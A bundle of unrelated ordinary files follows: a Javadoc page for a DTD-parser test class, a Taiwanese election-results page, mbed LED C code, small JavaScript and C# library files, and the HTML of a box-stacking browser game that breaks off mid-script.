HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <!-- ========= END OF TOP NAVBAR ========= --> <HR> <!-- ======== START OF CLASS DATA ======== --> <H2> <FONT SIZE="-1"> uk.ac.ed.inf.proj.xmlnormaliser.parser.dtd</FONT> <BR> Class DTDParserTestCompany</H2> <PRE> java.lang.Object <IMG SRC="../../../../../../../../resources/inherit.gif" ALT="extended by "><B>uk.ac.ed.inf.proj.xmlnormaliser.parser.dtd.DTDParserTestCompany</B> </PRE> <HR> <DL> <DT><PRE>public class <B>DTDParserTestCompany</B><DT>extends java.lang.Object</DL> </PRE> <P> Unit tests of the basic DTD parser (one more simple DTD) <P> <P> <DL> <DT><B>Author:</B></DT> <DD>Tomas Tauber</DD> </DL> <HR> <P> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <A NAME="constructor_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Constructor Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html#DTDParserTestCompany()">DTDParserTestCompany</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <!-- ========== METHOD SUMMARY =========== --> <A NAME="method_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Method Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>static&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html#setUpBeforeClass()">setUpBeforeClass</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Reads the file and loads it into the parser</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html#testAttributesMatches()">testAttributesMatches</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html#testDisjuctiveType()">testDisjuctiveType</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html#testElementsMatch()">testElementsMatch</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html#testRootElementMatches()">testRootElementMatches</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp;<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"> <TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE>equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD> </TR> </TABLE> &nbsp; <P> <!-- ========= CONSTRUCTOR DETAIL ======== --> <A NAME="constructor_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Constructor Detail</B></FONT></TH> </TR> </TABLE> <A NAME="DTDParserTestCompany()"><!-- --></A><H3> DTDParserTestCompany</H3> <PRE> public <B>DTDParserTestCompany</B>()</PRE> <DL> </DL> <!-- ============ METHOD DETAIL ========== --> <A NAME="method_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Method Detail</B></FONT></TH> </TR> </TABLE> <A NAME="setUpBeforeClass()"><!-- --></A><H3> setUpBeforeClass</H3> <PRE> public static void <B>setUpBeforeClass</B>() throws java.lang.Exception</PRE> <DL> <DD>Reads the file and loads it into the parser <P> <DD><DL> <DT><B>Throws:</B> <DD><CODE>java.lang.Exception</CODE></DL> </DD> </DL> <HR> <A NAME="testElementsMatch()"><!-- --></A><H3> testElementsMatch</H3> <PRE> public void <B>testElementsMatch</B>()</PRE> <DL> <DD><DL> </DL> </DD> </DL> <HR> <A NAME="testAttributesMatches()"><!-- --></A><H3> testAttributesMatches</H3> <PRE> public void <B>testAttributesMatches</B>()</PRE> <DL> <DD><DL> </DL> </DD> </DL> <HR> <A NAME="testRootElementMatches()"><!-- --></A><H3> testRootElementMatches</H3> <PRE> public void <B>testRootElementMatches</B>()</PRE> <DL> <DD><DL> </DL> </DD> </DL> <HR> <A NAME="testDisjuctiveType()"><!-- --></A><H3> testDisjuctiveType</H3> <PRE> public void <B>testDisjuctiveType</B>()</PRE> <DL> <DD><DL> </DL> </DD> </DL> <!-- ========= END OF CLASS DATA ========= --> <HR> <!-- ======= START OF BOTTOM NAVBAR ====== --> <A NAME="navbar_bottom"><!-- --></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_bottom_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/DTDParserTestCompany.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParser.DTDParserException.html" title="class in uk.ac.ed.inf.proj.xmlnormaliser.parser.dtd"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../../../../../../uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCourses.html" title="class in uk.ac.ed.inf.proj.xmlnormaliser.parser.dtd"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../../../../../index.html?uk/ac/ed/inf/proj/xmlnormaliser/parser/dtd/DTDParserTestCompany.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="DTDParserTestCompany.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <!-- ======== END OF BOTTOM NAVBAR ======= --> <HR> </BODY> </HTML>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- 選舉資料查詢 --> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>中選會選舉資料庫網站</title> <link rel="stylesheet" type="text/css" href="http://db.cec.gov.tw/votehist.css"> <script type="text/javascript"> function AddToFaves_hp() { var is_4up = parseInt(navigator.appVersion); var is_mac = navigator.userAgent.toLowerCase().indexOf("mac")!=-1; var is_ie = navigator.userAgent.toLowerCase().indexOf("msie")!=-1; var thePage = location.href; if (thePage.lastIndexOf('#')!=-1) thePage = thePage.substring(0,thePage.lastIndexOf('#')); if (is_ie && is_4up && !is_mac) window.external.AddFavorite(thePage,document.title); else if (is_ie || document.images) booker_hp = window.open(thePage,'booker_','menubar,width=325,height=100,left=140,top=60'); //booker_hp.focus(); } </script> </head> <body class="frame"> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- 標題:選舉資料庫網站 --> <div style="width: 100%; height: 56px; margin: 0px 0px 0px 0px; border-style: solid; border-width: 0px 0px 1px 0px; border-color: black;"> <div style="float: left;"> <img src="http://db.cec.gov.tw/images/main_title.gif" /> </div> <div style="width: 100%; height: 48px;"> <div style="text-align: center;"> <img src="http://db.cec.gov.tw/images/small_ghost.gif" /> <span style="height: 30px; font-size: 20px;"> <a href="http://www.cec.gov.tw" style="text-decoration: none;">回中選會網站</a> </span> </div> </div> <div style="width: 100%; height: 8px; background-color: #fde501;"> </div> </div> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- 頁籤 --> <div style="width: 100%; height: 29px; background-image: url('http://db.cec.gov.tw/images/tab_background.gif'); background-repeat: repeat-x;"> <div style="text-align: center;"> <a href="histMain.jsp"><img border="0" src="http://db.cec.gov.tw/images/tab_01.gif" /></a> <a href="histCand.jsp"><img border="0" src="http://db.cec.gov.tw/images/tab_02.gif" /></a> <!-- <a href=""><img border="0" src="images/tab_03.gif" /></a> --> <!-- <a href=""><img border="0" src="images/tab_04.gif" /></a> --> <a href="histQuery.jsp?voteCode=20120101T1A2&amp;qryType=ctks&amp;prvCode=06&amp;cityCode=005&amp;areaCode=02&amp;deptCode=007&amp;liCode=0152#"><img border="0" src="http://db.cec.gov.tw/images/tab_05.gif" onClick="AddToFaves_hp()" /></a> <a href="mailto:info@cec.gov.tw;ytlin@cec.gov.tw"><img border="0" src="http://db.cec.gov.tw/images/tab_06.gif" /></a> </div> </div> <div style="width: 100%; height: 22px; background-image: url('http://db.cec.gov.tw/images/tab_separator.gif'); background-repeat: repeat-x;"> </div> <div class="query"> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- 子頁面:查詢候選人得票數 --> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- 標題 --> <div class="titlebox"> <div class="title"> <div class="head">第 08 屆 立法委員選舉(區域)&nbsp;候選人得票數</div> <div class="date">投票日期:中華民國101年01月14日</div> <div class="separator"></div> </div> </div> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- 查詢:候選人得票數,縣市多選區,如區域立委 --> <link rel="stylesheet" type="text/css" href="http://db.cec.gov.tw/qryCtks.css" /> <!-- 投開票所表頭 --> <table class="ctks" width="950" height="22" border=1 cellpadding="0" cellspacing="0" > <tr class="title"> <td nowrap align="center">地區</td> <td nowrap align="center">姓名</td> <td nowrap align="center">號次</td> <td nowrap align="center">得票數</td> <td nowrap align="center">得票率</td> </tr> <!-- 投開票所內容 --> <tr class="data"> <td nowrap rowspan=2 align=center>彰化縣第02選區彰化市南安里第0255投開票所</td> <td nowrap align="center">黃秀芳</td> <td nowrap align="center">1</td> <td nowrap align="right">383</td> <td nowrap align="right"> 44.12%</td> </tr> <!-- 投開票所內容 --> <tr class="data"> <td nowrap align="center">林滄敏</td> <td nowrap align="center">2</td> <td nowrap align="right">485</td> <td nowrap align="right"> 55.87%</td> </tr> <!-- 投開票所內容 --> <tr class="data"> <td nowrap rowspan=2 align=center>彰化縣第02選區彰化市南安里第0256投開票所</td> <td nowrap align="center">黃秀芳</td> <td nowrap align="center">1</td> <td nowrap align="right">283</td> <td nowrap align="right"> 45.64%</td> </tr> <!-- 投開票所內容 --> <tr class="data"> <td nowrap align="center">林滄敏</td> <td nowrap align="center">2</td> <td nowrap align="right">337</td> <td nowrap align="right"> 54.35%</td> </tr> </table> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <div style="width: 100%; height: 20px; margin: 30px 0px 0px 0px; text-align: center; "> <span> <img src="http://db.cec.gov.tw/images/leave_arrow_left.gif" /> </span> <span style="margin: 0px 10px 0px 10px; "> <a style="text-decoration: none; font-size: 15px; " href="histPrint">下載</a> </span> <span> <img src="http://db.cec.gov.tw/images/leave_arrow_right.gif" /> </span> <span style="margin-right: 100px;">&nbsp;</span> <span> <img src="http://db.cec.gov.tw/images/leave_arrow_left.gif" /> </span> <span style="margin: 0px 10px 0px 10px; "> <a style="text-decoration: none; font-size: 15px; " href="histMain.jsp">離開</a> </span> <span> <img src="http://db.cec.gov.tw/images/leave_arrow_right.gif" /> </span> </div> </div> </body> </html>
/* Copyright (c) Ludo Visser * * This file is part of the mbed-lib project, and is distributed under the * terms of the MIT License. The full license agreement text can be found * in the LICENSE file. */ #include "mbed.h" /* LED initialization function */ void initLED(void) { PINSEL_CFG_Type pinConfig; /* Check for initialization. */ if (mbedStatus & MBED_LED_INIT) { return; } /* Configure pins */ pinConfig.OpenDrain = PINSEL_PINMODE_NORMAL; pinConfig.Pinmode = PINSEL_PINMODE_PULLUP; pinConfig.Funcnum = PINSEL_FUNC_0; pinConfig.Portnum = PINSEL_PORT_1; pinConfig.Pinnum = 18; // LED 0 PINSEL_ConfigPin(&pinConfig); pinConfig.Pinnum = 20; // LED 1 PINSEL_ConfigPin(&pinConfig); pinConfig.Pinnum = 21; // LED 2 PINSEL_ConfigPin(&pinConfig); pinConfig.Pinnum = 23; // LED 3 PINSEL_ConfigPin(&pinConfig); /* Enable bits corresponding to LEDs as outputs. */ GPIO_SetDir(1, MBED_LED0 | MBED_LED1 | MBED_LED2 | MBED_LED3, 1); /* Turn off all MBED_MBED_LEDs. */ GPIO_ClearValue(1, MBED_LED0 | MBED_LED1 | MBED_LED2 | MBED_LED3); /* Update status flags. */ mbedStatus |= MBED_LED_INIT; } /* Turn LED on */ void LEDOn(uint32_t led) { GPIO_SetValue(1, led); } /* Turn LED off */ void LEDOff(uint32_t led) { GPIO_ClearValue(1, led); } /* Toggle LED */ void LEDToggle(uint32_t led) { uint32_t ledStatus; ledStatus = GPIO_ReadValue(1); if (ledStatus & led) { GPIO_ClearValue(1, led); } else { GPIO_SetValue(1, led); } }
/** * Super-Cache for Browser * * @author Zongmin Lei <leizongmin@gmail.com> */ var CacheManager = require('./lib/manager'); var MemoryStore = require('./lib/store/memory'); var LocalStore = require('./lib/store/local'); module.exports = exports = CacheManager; exports.MemoryStore = MemoryStore; exports.LocalStore = LocalStore; exports.create = function (options) { return new CacheManager(options); }; // ADM mode if (typeof define === 'function' && define.amd) { define(function () { return module.exports; }); } // Shim mode if (typeof window !== 'undefined') { window.SuperCache = module.exports; }
using OuiGui.Lib.Model; using System; using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; namespace OuiGui.Lib.Services { public interface IChocolateyService { Task<IEnumerable<InstalledPackage>> ListInstalledPackages(bool allVersions, CancellationToken token); Task InstallPackage(string packageName, string version, Action<string> onDataReceived); Task UninstallPackage(string packageName, string version, Action<string> onDataReceived); Task UpdatePackage(string packageName, Action<string> onDataReceived); Task InstallPackage(string packageName, string version, Action<string> onDataReceived, CancellationToken cancelToken); Task UninstallPackage(string packageName, string version, Action<string> onDataReceived, CancellationToken cancelToken); Task UpdatePackage(string packageName, Action<string> onDataReceived, CancellationToken cancelToken); } }
module.exports = { light: { background1: 'rgba(227,227,227,.95)', background2: 'rgba(204,204,204,.95)', background2hover: 'rgba(208,208,208,.95)', foreground1: 'rgba(105,105,105,.95)', text1: 'rgba(36,36,36,.95)', text2: 'rgba(87,87,87,.95)' }, dark: { background1: 'rgba(35,35,35,.95)', background2: 'rgba(54,54,54,.95)', background2hover: 'rgba(58,58,58,.95)', foreground1: 'rgba(112,112,112,.95)', text1: 'rgba(235,235,235,.95)', text2: 'rgba(161,161,161,.95)' } }
<!DOCTYPE html> <!--GuiGhost Games - GuiStack- Tower of Balance--> <!--GuiGhost Games - GuiStack v1.2 March 2018--> <html> <head> <script src="https://integration.gamepix.com/sdk/v3/gamepix.sdk.js"></script> <title>Stacker - Boxes of Balance</title> <meta name="viewport" content="width = device-width, initial-scale = 1.0, maximum-scale = 1.0, minimum-scale = 1.0, user-scalable = no, minimal-ui" /> <meta charset="UTF-8"> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta property="og:type" content="game" /> <meta property="og:title" content="Stacker: Boxes of Balance" /> <meta property="og:description" content="Fun Physics games of box dropping to get the high score, but don't let them fall - Family Friendly Free Online Game" /> <link rel="shortcut icon" sizes="256x256" href="assets/sprites/crate16.png" /> <style type="text/css"> * { padding: 0; margin: 0; } body { background: #0259a0; background: url("images/bg.png") center fixed; background-size: cover; background-repeat: no-repeat; background-color: black; overflow: hidden; width: 100%; height: 100%; margin: 0; } canvas { touch-action: none; -ms-touch-action: none; position: absolute; top: 0; } #wrongorientation { background: url("images/wrongorientation.png") no-repeat center center fixed; background-size: contain; position: fixed; width: 100%; height: 100%; top: 0px; left: 0px; z-index: 1000; display: none; } #gameDiv { width: 100%; position: absolute; top: 0; } #gameLink { position: absolute; left: 50%; bottom: 15%; width: 232px; height: 79px; transform: translateX(-115px); z-index: 2000; } #gGlogoMenu { background: url("images/gabbyLogo.png"); background-repeat: no-repeat; background-size: contain; background-position: center; } #loadingGG { position: absolute; top: 15%; left: 50%; min-width: 200px; height: 60%; transform: translateX(-150px); z-index: 15000; } #rateMeBtnWrap { position: absolute; bottom: 5px; width: 100%; left: 0px; } @-webkit-keyframes heartBeat { 0% { -webkit-transform: scale(1); transform: scale(1); } 14% { -webkit-transform: scale(1.3); transform: scale(1.3); } 28% { -webkit-transform: scale(1); transform: scale(1); } 42% { -webkit-transform: scale(1.3); transform: scale(1.3); } 70% { -webkit-transform: scale(1); transform: scale(1); } } @keyframes heartBeat { 0% { -webkit-transform: scale(1); transform: scale(1); } 14% { -webkit-transform: scale(1.3); transform: scale(1.3); } 28% { -webkit-transform: scale(1); transform: scale(1); } 42% { -webkit-transform: scale(1.3); transform: scale(1.3); } 70% { -webkit-transform: scale(1); transform: scale(1); } } .heartBeat { -webkit-animation-name: heartBeat; animation-name: heartBeat; -webkit-animation-duration: 1.3s; animation-duration: 1.3s; -webkit-animation-timing-function: ease-in-out; animation-timing-function: ease-in-out; } @-webkit-keyframes zoomInRight { from { opacity: 0; -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0); transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); } 60% { opacity: 1; -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0); transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1); } } @keyframes zoomInRight { from { opacity: 0; -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0); transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); } 60% { opacity: 1; -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0); transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0); -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1); animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1); } } .zoomInRight { -webkit-animation-name: zoomInRight; animation-name: zoomInRight; } #levelComplete { position: absolute; width: 100%; height: 100%; z-index: 5000; top: 0px; background-color: black; overflow: hidden; display: none; } #levelCompleteInner { margin: auto; width: 95%; height: 95%; z-index: 5000; text-align: center; font-family: 'Comic Sans MS'; color: azure; } #bannerImg { width: 100%; } #LevelComleteTextDiv { margin: auto; width: 95%; height: 100%; font-family: 'Comic Sans MS'; font-size: xx-large; } #goalText { margin-top: 2%; } .rowBackFail { width: 60%; height: 10%; margin-left: 20%; float: left; margin-top: 5px; margin-bottom: 25px; font-size: x-large; } h4 { background-image: radial-gradient( grey, black); } #goalHtml { background-image: radial-gradient( green, black); } .rowBackFail2 { width: 40%; height: 8%; margin-left: 30%; float: left; margin-top: 1px; margin-bottom: 12px; font-size: x-large; border: 3px grey groove; background-image: radial-gradient( purple, black); border-radius: 15px; text-align: center; } .buttonSize { max-width: 110px; float: left; margin: auto; margin-left: 10px; } #lvlStatusTxt { background-image: url(images/topBanner.png); background-repeat: no-repeat; background-position: top; color: red; font-size: xx-large; height: 60px; padding-top: 5px; margin-top: 10%; } #tryAgainText { margin-top: 25px; background-image: radial-gradient( brown, black); } #startOver { background-image: radial-gradient( blue, black); } @media screen and (max-height: 600px) { #levelComplete { max-height: 100%; } #LevelComleteTextDiv { font-size: large; } .rowBackFail2 .rowBackFail { font-size: medium; height: 5%; width: 70%; margin-left: 15%; } #lvlStatusTxt { margin-top: 1%; } } </style> <link rel="stylesheet" type="text/css" href="animate.min.css"> <script src="phaser.min.js"></script> <script src="box2d-plugin-full.js"></script> <script src="guiStack_New.js"></script> </head> <body> <div id="gameDiv"></div> <div id="loadingGG"><IMG SRC="images/loading4.gif"></div> <div id="wrongorientation"></div> <audio id="NiceSound" class="gameSounds"> <source src="assets\sounds\\loops/OveMelaa-ItaloUnlimited.mp3" type="audio/mp3"> </audio> <!--SELF Advertising-->` <!--<div id="selfInterstatial">--> <!--<div id="closeSelfAd">X</div>--> <!--<div id="adTimerX"> 30 </div> <div id="selfAdMain"> <video id="promoVid1" width="265" height="470" > <source src="assets/starMatchPromo.mp4" type="video/mp4"> Your browser does not support the video tag. </video>--> <!--<div id="labelSelfInter"> Star Match 2048 </div>--> <!--<div id="selfAdInner"> <img id="selfAdGraphic" src="images/starMatchPromo1.png" /> </div> <a id="gameLink" class="external-link" href='https://play.google.com/store/apps/details?id=com.GuiGhostGames.StarMatch2048' target='_blank'><img id="gPlayImg" alt='Get it on Google Play' src='images/google-play-badge_altered.png' /></a> </div> </div>--> <!--<div id="rateMe" > <div id="rateMeInner" class="fadeIn " > <div id="rateMeTopWrap"> <div id="rateMeText"> <h2>Please Rate Our App</h2> <p> It takes only a moment and helps alot</p> </div> </div> <div id="rateMeImage" class="heartBeat"> <img id="rateImage" alt='Rate on Google Play' src='images/ratingstars.png' /> </div> <div id="rateMeBtnWrap" > <div id="rateMeBtnNo" class="rateBtn">No Thanks</div> <div id="rateMeBtnYes" class="rateBtn"> <b>Rate Now</b> </div> <div id="rateMeBtnLater" class="rateBtn">Later</div> </div> </div> </div>--> <div id="levelComplete" class="zoomInDown"> <div id="levelCompleteInner"> <div id="headFailed"> <!--<img id="bannerImg" src="images/topBanner.png"/>--> <div id="lvlStatusTxt"><p>FAILED</p> </div> </div> <div id="LevelComleteTextDiv"> <div id="goalText" class="rowBackFail">Level Goal <h4 id="goalHtml" >25</h4> </div> <div id="yourScoreText" class="rowBackFail">Your Score <h4 id="scoreHtml">0</h4> </div> <!--<div id="tryAgainText" class="rowBackFail2"><img class="buttonSize" id="continueBtnHtml" src="images/continueButton.png" />Try Again </div> <div id="SkipLevelText" class="rowBackFail2" ><img class="buttonSize heartBeat" id="viewAdBtnHtml" src="images/viewAd.png" />Skip Level </div> <div id="startOver" class="rowBackFail2"><img class="buttonSize" id="startoverBtnHtml" src="images/playButtonNew.png" /> Start Over </div>--> <br/> <div id="tryAgainText" class="rowBackFail2">Try Again </div> <div id="SkipLevelText" class="rowBackFail2">Skip Level </div> <div id="startOver" class="rowBackFail2">Start Over </div> </div> <div id="LevelComleteSkipBtn"></div> <div id="LevelComleteQuitBtn"></div> </div> </div> <!--<div id="leftAdBar"> <iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=US&source=ac&ref=tf_til&ad_type=product_link&tracking_id=guighost-20&marketplace=amazon&region=US&placement=B07SR1BRN5&asins=B07SR1BRN5&linkId=a12838dc2659e081dd5bd9f1c1ac3cd5&show_border=false&link_opens_in_new_window=false&price_color=333333&title_color=0066C0&bg_color=FFFFFF"></iframe> <iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-na.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=US&source=ac&ref=tf_til&ad_type=product_link&tracking_id=guighost-20&marketplace=amazon&region=US&placement=B07RX6FBFR&asins=B07RX6FBFR&linkId=97ed958c2c381f17391a99c71a600952&show_border=false&link_opens_in_new_window=false&price_color=333333&title_color=0066c0&bg_color=ffffff"></iframe> </div> <div id="rightAdBar"> <iframe src="//rcm-na.amazon-adsystem.com/e/cm?o=1&p=11&l=ez&f=ifr&linkID=692ac2ae1b87ac1549a2749e07927cf6&t=guighost-20&tracking_id=guighost-20" width="120" height="600" scrolling="no" border="0" marginwidth="0" style="border:none;" frameborder="0"></iframe> </div>--> <script type=text/javascript> window.addEventListener('load', (event) => { //console.log('page is fully loaded'); ///start level end loss modal document.getElementById("tryAgainText").addEventListener("click", handleLevelPopup); document.getElementById("tryAgainText").addEventListener("touchstart", handleLevelPopup); document.getElementById("SkipLevelText").addEventListener("click", handleLevelPopup2); document.getElementById("SkipLevelText").addEventListener("touchstart", 